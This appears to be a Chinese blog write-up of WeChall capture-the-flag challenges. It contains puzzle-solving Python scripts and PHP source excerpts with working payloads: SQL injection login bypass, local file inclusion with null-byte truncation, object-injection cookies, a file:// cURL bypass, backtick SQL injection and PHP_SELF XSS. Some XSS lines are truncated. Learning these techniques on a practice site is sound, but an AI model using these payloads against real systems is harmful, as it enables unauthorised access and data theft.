不得不说wechall的题目还是挺有趣的,外国的题目感觉和国内的题目不太一样,真是学习学习了,wp持续跟新
#_*_ coding:utf-8 _*_
import math
def is_prime(num):
for i in range(2,int(math.sqrt(num))+1):
if num%i==0:
return False
return True
def get_total(num):
total=0
while num:
total+=num%10
num/=10
return total
flag=0
number1=0
number2=0
for i in range(1000000,10000000):
if is_prime(i) and is_prime(get_total(i)):
if flag==0:
number1=i
flag=1
elif flag==1:
number2=i
break
print number1,number2
print str(number1)+str(number2)
#_*_ coding:utf-8 _*_
s=[84, 104, 101, 32, 115, 111, 108, 117, 116, 105, 111, 110, 32, 105, 115, 58, 32, 101, 114, 103, 102, 105, 105, 105, 102, 115, 100, 104, 103]
flag=''
for i in s:
flag+=chr(i)
print flag
#_*_ coding:utf-8 _*_
import urllib
url='%59%69%70%70%65%68%21%20%59%6F%75%72%20%55%52%4C%20%69%73%20%63%68%61%6C%6C%65%6E%67%65%2F%74%72%61%69%6E%69%6E%67%2F%65%6E%63%6F%64%69%6E%67%73%2F%75%72%6C%2F%73%61%77%5F%6C%6F%74%69%6F%6E%2E%70%68%70%3F%70%3D%73%68%67%73%61%6D%6F%67%6D%73%6C%72%26%63%69%64%3D%35%32%23%70%61%73%73%77%6F%72%64%3D%66%69%62%72%65%5F%6F%70%74%69%63%73%20%56%65%72%79%20%77%65%6C%6C%20%64%6F%6E%65%21'
print urllib.unquote(url)
http://www.wechall.net/robots.txt
http://www.wechall.net//challenge/training/www/robots/T0PS3CR3T
#_*_ coding:utf-8 _*_
import urllib
sss='NBY KOCWE VLIQH ZIR DOGJM IPYL NBY FUTS XIA IZ WUYMUL UHX SIOL OHCKOY MIFONCIH CM GBAHLZLGUFCX'
for i in range(26):
flag=''
for j in sss:
if j !=' ':
flag+=chr((ord(j)-ord('A')+i)%26+ord('A'))
else :
flag+=' '
print flag
if (isset($_GET['which']))
{
$which = $_GET['which'];
switch ($which)
{
case 0:
case 1:
case 2:
require_once $which.'.php';
break;
default:
echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
break;
}
}
?>
http://www.wechall.net/challenge/php0817/index.php?which=solution
这不算文件包含吧…
需要服务器,暂时没做
万能密码
username=admin' or '1'='1
$filename = 'pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome").'.html';
include $filename;
很有趣的题目,首先是发现两个网址的不同
http://www.wechall.net/challenge/training/php/lfi/up/index.php?file=welcome
http://www.wechall.net/challenge/training/php/lfi/solution.php
比较容易发现solution.php在当前目录下的上两级目录,即是../../
,然后是文件包含,用%00
截断多余的.html
,而且想让eval第二次成立还必须存在如下路径
function lfiIsSafeDir($filename)
{
$valid = array(
'pages',
'pages/../..',
'pages/..',
);
$d = dirname($filename);
return in_array($d, $valid, true);
}
这就更加明显了,最终payload
http://www.wechall.net/challenge/training/php/lfi/up/index.php?file=../../solution.php%00
看原来的代码部分,Register Globals可以造成代码的覆盖,GET、POST、cookie均可能。这里在源代码注意到
# EMULATE REGISTER GLOBALS = OFF
foreach ($_GET as $k => $v) { unset($$k); }
模仿变量覆盖来着,但是只是支持GET,和真正的Register Globals还不一样,一开始看叉了…
最终payload
http://www.wechall.net/challenge/training/php/globals/globals.php?login[0]=admin
关键代码如下
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
# Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
# Disallow all the digits!
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
# Aha, digit not allowed!
return false;
}
}
# Allow the magic number ...
return $number == "3735929054";
}
明显过滤了1-9,但是没有过滤0,构造16进制绕过即可
paylaod
0xdeadc0de
题目也没有明确的说要干啥,蛋疼了好一段时间。找了半天没找到关键点,而且这个看着不怎么连续啊,看了看大师傅门的博客才知道想干嘛…
首先看到insecure.inc.php
中的代码
/**
* Ultra Safe Auto Include
* @author Z
* @param string $classname
*/
function my_autoloader($classname)
{
chdir('challenge/are_you_serial');
require_once './'.str_replace('.', '', $classname).'.php';
chdir('../../');
}
/**
* Registers auto include
*/
spl_autoload_register('my_autoloader');
?>
关键在于spl_autoload_register
这个函数,这个函数是自动注册类用的,在当今特别是新型的框架(laravel、composer)中常用。
我们看到抓包得到的cookie很有特点
O:11:"SERIAL_User":3:{s:8:"username";s:3:"asd";s:8:"password";s:8:"testtest";s:9:"userlevel";i:0;}
原因是在post login之后调用了函数
...
if (isset($_POST['login']))
{
$form->execute(Common::getPostString('username'));
}
...
final class SERIAL_LoginForm
{
public function serial_formz()
{
$data = array();
$data['username'] = array(GWF_Form::STRING, '', 'Username');
$data['login'] = array(GWF_Form::SUBMIT, 'Login');
return new GWF_Form($this, $data);
}
public function execute($username)
{
$password = 'testtest'; #random
$user = new SERIAL_User($username, $password);
$serial = serialize($user);
$_COOKIE['serial_user'] = $serial;
setcookie('serial_user', $serial, time()+31536000, GWF_WEB_ROOT_NO_LANG, GWF_DOMAIN, false, true);
}
}
我们看到调用了SERIAL_User这个类。
我们继续code.php向下看存在一个反序列化!
if (false !== ($user = unserialize(Common::getCookie('serial_user', ''))))
{
# Show welcome screen
echo GWF_HTML::message('Serial Challenger', $chall->lang('msg_wb', array(htmlspecialchars($user->getUsername()), $user->getPassword(), $user->getUserlevel())));
# Show logout form
echo $form_logout->serial_formz()->templateY($chall->lang('ft_logout'));
}
# Guest
else
{
# Show login form
echo $form->serial_formz()->templateY($chall->lang('ft_login'));
}
而我们之前说的spl_autoload_register
函数,如果解析后是一个别的类,就会调用到别的类,我们需要调用的是SERIAL_Solution.php
,猜测是cookie传参,我们将原来序列化的值稍作修改,名字改为SERIAL_Solution
(长度随着改变)
O:15:"SERIAL_Solution":3:{s:8:"username";s:6:"serial";s:8:"password";s:8:"testtest";s:9:"userlevel";i:0;}
但是如果传参有login就会对cookie进行重新设置,我们需要去掉login传参即可!
修改如下
特别的是,如果有spl_autoload_register
函数+文件上传可以getshell,这里放个连接
https://www.leavesongs.com/penetration/some-sangebaimao-ctf-writeups.html#0x02-getshell_1
貌似是一个XSS题目,猛一看就是看到了存在htmlspecialchars函数转义,但是通过查找资料,该函数只是转义如下字符
&(和号) 成为&
" (双引号) 成为 "
' (单引号) 成为 '
< (小于) 成为 <
> (大于) 成为 >
而且在默认的情况下有如此的设定
if(isset($_GET['in']))
{
$a=$_GET['in'];
echo "Exploit Me";
echo "";
echo htmlspecialchars("Exploit Me");
}
?>
给一个XSS不错的总结地址,轻松找到a标签的xss方式
http://blog.csdn.net/keepxp/article/details/52054388
然后这就是我们的exploit了,要修复并不难,加上参数ENT_QUOTES
即可,最终solution如下
echo "),ENT_QUOTES)."'>Exploit Me";
之前真是被PHP搞的过于紧张了,一直心想这这是什么函数有毛病?最后搞了半天发现这是程序流程的问题!首先我们看一下code.php
前面的代码
foreach ($_GET as $key => $value)
{
if ($key === 'src') {
php0816SetSourceFile($value);
}
elseif ($key === 'mode') {
php0816execute($value);
}
elseif ($key === 'hl') {
php0816addHighlights($value);
}
}
顾名思义就是依次接收GET的·数值,当接收到src变量的时候,设置要读取的文件名(其中有白名单限制)、当读到hl时选中需要加上标签的单词,mode变量(值必须时hl)对读取内容进行翻译。这是for循环,所以有顺序之分
我们看到在src调用的函数中设置了白名单,很难绕过
function php0816SetSourceFile($filename)
{
$filename = (string) $filename;
static $whitelist = array(
'test.php',
'index.php',
'code.php',
);
# Sanitize by whitelist
if (!in_array($filename, $whitelist, true))
{
$_GET['src'] = false;
}
}
但是加入我们调换了参数的顺序,可以调换函数的调用顺序,造成先读取文件再过滤函数!最终我们只需要换一下顺序即可!
payload如下:
http://www.wechall.net/challenge/php0816/code.php
?hl[0]=function
&mode=hl
&src=solution.php
is 'AnotherCodeflowMistake';
?>
NOTHING MORE?
END OF FILE!
这题确实不是我自己做的,学习一波,说是一个文件包含的问题,分为文件上传和url上传,这个就很尴尬,文件上传找了半天没有看到什么方法,相反脆弱点再代码审计的地方,关键代码如下
function upload_please_by_url($url)
{
if (1 === preg_match('#^[a-z]{3,5}://#', $url)) # Is URL?
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_FAILONERROR, true);
if (false === ($file_data = curl_exec($ch)))
{
htmlDisplayError('cURL failed.');
}
else
{
// Thanks
upload_please_thx($file_data);
}
}
else
{
htmlDisplayError('Your URL looks errorneous.');
}
}
我们可以看到php调用了curl,对于url变量只是进行了简单的过滤,验证你是不是网址,file:理所应当地绕过了,这里通过curl重定向到了本地磁盘!!!从而达到绕过的目的!所以构造payload如下即可
在框中填入
file://solution.php
首先要明白注入点在哪很容易就是in_array()函数同is_numic()函数一样,再弱类型匹配时候’1’==’1asd’,尤其时in_array()匹配不严格的时候存在问题,这样注入没毛病
in_array($show, $whitelist,true)
但是返回别的东西…
简直是逗逼,然后我想到了修改一下它的类型,我想这是把1,2,3修改字符串,本地也是可以的,但是它就是不行,提交strval()
未果,爆炸,但是输入了intval()就可以???改哪个不是改…什么狗屁…但是显示我得payload太长了
既然是强制转换成int型尝试强制转换呢?int()
,结果出了这个
最短的黑魔法…
最短的黑魔法…. –> $show - 0
字符串-0…变成了int…
首先接收到源码
//
// Trigger Moved to index.php
//if (false !== ($who = Common::getGet('vote_for'))) {
// noesc_voteup($who);
//}
//
/**
* Get the database link
* @return GDO_Database
*/
function noesc_db()
{
static $noescdb = true;
if ($noescdb === true)
{
$noescdb = gdo_db_instance('localhost', NO_ESCAPE_USER, NO_ESCAPE_PW, NO_ESCAPE_DB);
$noescdb->setLogging(false);
$noescdb->setEMailOnError(false);
}
return $noescdb;
}
/**
* Create table (called by install-script)
* The table layout is crappy, there is only 1 row in the table Oo.
* @return boolean
*/
function noesc_createTable()
{
$db = noesc_db();
$query =
"CREATE TABLE IF NOT EXISTS noescvotes ( ".
"id INT(11) UNSIGNED PRIMARY KEY, ". # I could have one row per candidate, but currently there is only one global row(id:1). I know it`s a bit unrealistic, but at least it is safe, isn`t it?
"bill INT(11) UNSIGNED NOT NULL DEFAULT 0, ". # bill column
"barack INT(11) UNSIGNED NOT NULL DEFAULT 0, ". # barack column
"george INT(11) UNSIGNED NOT NULL DEFAULT 0 )"; # george columb
if (false === $db->queryWrite($query)) {
return false;
}
return noesc_resetVotes();
}
/**
* Reset the votes.
* @return void
*/
function noesc_resetVotes()
{
noesc_db()->queryWrite("REPLACE INTO noescvotes VALUES (1, 0, 0, 0)");
echo GWF_HTML::message('No Escape', 'All votes have been reset', false);
}
/**
* Count a vote.
* Reset votes when we hit 100 or 111.
* TODO: Implement multi language
* @param string $who
* @return void
*/
function noesc_voteup($who)
{
if ( (stripos($who, 'id') !== false) || (strpos($who, '/') !== false) ) {
echo GWF_HTML::error('No Escape', 'Please do not mess with the id. It would break the challenge for others', false);
return;
}
$db = noesc_db();
$who = mysql_real_escape_string($who);
$query = "UPDATE noescvotes SET `$who`=`$who`+1 WHERE id=1";
if (false !== $db->queryWrite($query)) {
echo GWF_HTML::message('No Escape', 'Vote counted for '.GWF_HTML::display($who), false);
}
noesc_stop100();
}
/**
* Get all votes.
* @return array
*/
function noesc_getVotes()
{
return noesc_db()->queryFirst("SELECT * FROM noescvotes WHERE id=1");
}
/**
* Reset when we hit 100. Or call challenge solved on 111.
* @return void
*/
function noesc_stop100()
{
$votes = noesc_getVotes();
foreach ($votes as $who => $count)
{
if ($count == 111) {
noesc_solved();
noesc_resetVotes();
break;
}
if ($count >= 100) {
noesc_resetVotes();
break;
}
}
}
/**
* Display fancy votes table.
* New: it is multi language now.
* @return unknown_type
*/
function noesc_displayVotes(WC_Challenge $chall)
{
$votes = noesc_getVotes();
echo '';
echo sprintf('%s %s %s! ', $chall->lang('th_name'), $chall->lang('th_count'), $chall->lang('th_vote'));
$maxwho = '';
$max = 0;
$maxcount = 0;
// Print Candidate rows
foreach ($votes as $who => $count)
{
if ($who !== 'id') // Skip ID
{
$count = (int) $count;
if ($count > $max) {
$max = $count;
$maxwho = $who;
$maxcount = 1;
}
elseif ($count === $max) {
$maxcount++;
}
$button = GWF_Button::generic($chall->lang('btn_vote', array($who)), "index.php?vote_for=$who");
echo sprintf('%s %s %s ', $who, $count, $button);
}
}
echo '
';
// Print best candidate.
if ($maxcount === 1) {
echo GWF_Box::box($chall->lang('info_best', array(htmlspecialchars($maxwho))));
}
}
/**
* Try to get here :)
*/
function noesc_solved()
{
if (false === ($chall = WC_Challenge::getByTitle('No Escape'))) {
$chall = WC_Challenge::dummyChallenge('No Escape', 2, '/challenge/no_escape/index.php', false);
}
$chall->onChallengeSolved(GWF_Session::getUserID());
}
?>
我们关键查看可控的输入点,然后查询后发现关键的sql语句如下
$query = "UPDATE noescvotes SET `$who`=`$who`+1 WHERE id=1";
单纯的构造闭合是很难的,所以我们准备利用第一个空然后利用mysql注释符绕过(注释符包括# ,– ,/**/注意–后面还有空格!)然后构造
http://www.wechall.net/challenge/no_escape/index.php?vote_for=bill`=111 ;%23
http://www.wechall.net/challenge/no_escape/index.php?vote_for=bill`=111 ;--%20
注意特殊符号要urlencode!如#
require 'checkit.php'; # required to check your solution/injection
chdir('../../'); # chroot to web root
define('GWF_PAGE_TITLE', 'Yourself PHP'); # Wrapper hack
require_once('challenge/html_head.php'); # output start of website
# Get the challenge
if (false === ($chall = WC_Challenge::getByTitle('Yourself PHP'))) {
$chall = WC_Challenge::dummyChallenge('Yourself PHP', 4, 'challenge/yourself_php/index.php', false);
}
# And display the header
$chall->showHeader();
# Show mission box (translated)
echo GWF_Box::box($chall->lang('mission_i', array('index.php?highlight=christmas')), $chall->lang('mission_t'));
# Check your injection and fix the hole by silently applying htmlsepcialchars to the vuln input.
if (phpself_checkit())
{
$chall->onChallengeSolved(GWF_Session::getUserID());
}
# Show this file as highlighted sourcecode, if desired
if ('christmas' === Common::getGetString('highlight'))
{
$msg = file_get_contents('challenge/yourself_php/index.php');
$msg = '['.'code=php title=index.php]'.$msg.'['.'/code]';
echo GWF_Box::box(GWF_Message::display($msg));
}
# __This is the challenge:
if (isset($_POST['username']))
{
echo GWF_Box::box(sprintf("Well done %s, you entered your username. But this is not what you need to do.", htmlspecialchars(Common::getPostString('username'))));
}
echo ''.PHP_EOL;
echo sprintf(', $_SERVER['PHP_SELF']).PHP_EOL;
echo sprintf('%s', GWF_CSRF::hiddenForm('phpself')).PHP_EOL;
echo sprintf('Username:').PHP_EOL;
echo sprintf('').PHP_EOL;
echo sprintf('').PHP_EOL;
echo ''.PHP_EOL;
# __End of challenge
# Print Challenge Footer
echo $chall->copyrightFooter();
# Print end of website
require_once('challenge/html_foot.php');
?>
说是xss但是输入点确不是username,这里关键的点在echo sprintf('
这个$_SERVER['PHP_SELF']
,百度一下就发现资料
http://www.5idev.com/p-php_server_php_self.shtml
实验
echo '['PHP_SELF'].'" method="post">'.PHP_EOL;
?>
localhost:8080/flag.php/%22>